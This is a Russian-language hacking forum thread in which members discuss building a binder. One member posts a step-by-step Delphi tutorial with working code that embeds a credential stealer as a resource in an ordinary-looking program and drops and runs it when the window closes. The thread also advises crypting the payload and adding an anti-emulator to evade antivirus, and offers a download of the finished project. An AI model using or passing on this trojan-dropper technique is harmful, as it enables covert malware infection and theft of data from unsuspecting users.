ВАЖНО А не написать-ли нам Джойнер самим !?

Нужно-ли развивать данную тематику ?

  • Да

    Голосов: 20 100.0%
  • Нет

    Голосов: 0 0.0%

  • Всего проголосовало
    20

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 054
Репутация
8 161
Олег,а у меня другие данные по твоиему старом стабу:)
Похоже я перекомпилировал старый стаб, хотя вроде ничего не менял-же !Не въехал!!!

Вот отправил Блондинка.exe на VT (Скачал от сюда), он уж точно упакован старым стабом:

Но всё равно результат другой, чудеса !Отдыхай!!!
 

Антоха

Уважаемый пользователь
Форумчанин
Регистрация
26.12.2012
Сообщения
2 780
Репутация
4 652
Мне тут понадобилось добавить в дельфийский проект другой экзешник и чтобы он срабатывал на какое-нибудь событие.Покажу здесь как это делать (джойнер естественно не нужен).
Например у нас есть исходный код программы,но мы желаем вставить в неё,к примеру,наш любимый стилер.И чтобы при нажатии кнопки или клике по форме (или другое событие),наш стилер делал своё грязное дело.В качестве проги возьмём обчную форму с картинкой,стилер будет вылезать на событие OnClouse,то есть при закрытии программки.
1.Создаём текстовый документ ,пишем в нём: FILEEXE FILES file.exe,сохраняем его как res.rc
2.Создаём батник со следующим содержанием:brcc32.exe res.rc,название не важно.
3.Запускаем батник (файл rc,батник и наш экзешник должны находиться в одной папке),появиться файл res.res.Его нужно добавить в папку с проектом.
4.Создаёте делфийский проект (или открываете уже имеющийся).В uses добавляете ShellApi
Снимок.JPG

после implementation дописываете {$R res.res}
Снимок2.JPG


ниже пишем следующую процедуру:
Код:
procedure ExtractRes (ResType, ResName, ResNewName: string);
var
  Res: TResourceStream;
begin
  Res := TResourceStream.Create(Hinstance, Resname, PChar(ResType));
  Res.SavetoFile(ResNewName);
  Res.Free;
end;
Теперь придумываем на какое событие будет срабатывать наш стилер.Я взл-OnClouse (на закрытие).В инспекторе объектов форм выбираем OnClouse.
Снимок3.JPG

Прописываем следующее:
Код:
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
ExtractRes('FILES', 'FILEEXE','file.exe');
ShellApi.ShellExecute(handle, 'open', PAnsiChar('file.exe'),  '', '', sw_show);
end;
Компилируем.
Естественно,что палящиеся файлы нужно криптовать перед добавлением.Что у нас вышло:
2.gif

В архиве папка со всей хренью (ругаются антивири).Пасс:111
 

Вложения

  • Project delphi.rar
    748 КБ · Просмотры: 24

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 054
Репутация
8 161
ругаются антивири
Что-бы антивири не палили, нужно придумать антиэмулятор, например вполне сойдёт для большинства АВ !WinkSmile

А он распаковывает в папку с программой ?

Это-же не запуск в памяти !

Можно ещё в длл запихивать ресурсы...
 

Антоха

Уважаемый пользователь
Форумчанин
Регистрация
26.12.2012
Сообщения
2 780
Репутация
4 652
А он распаковывает в папку с программой ?
Ну,да.Правда потом самоудаляется (если поставить в настройках стилера).А так придётся дописывать в делфийский код какую-нибудь команду на удаление файла.
 
Верх Низ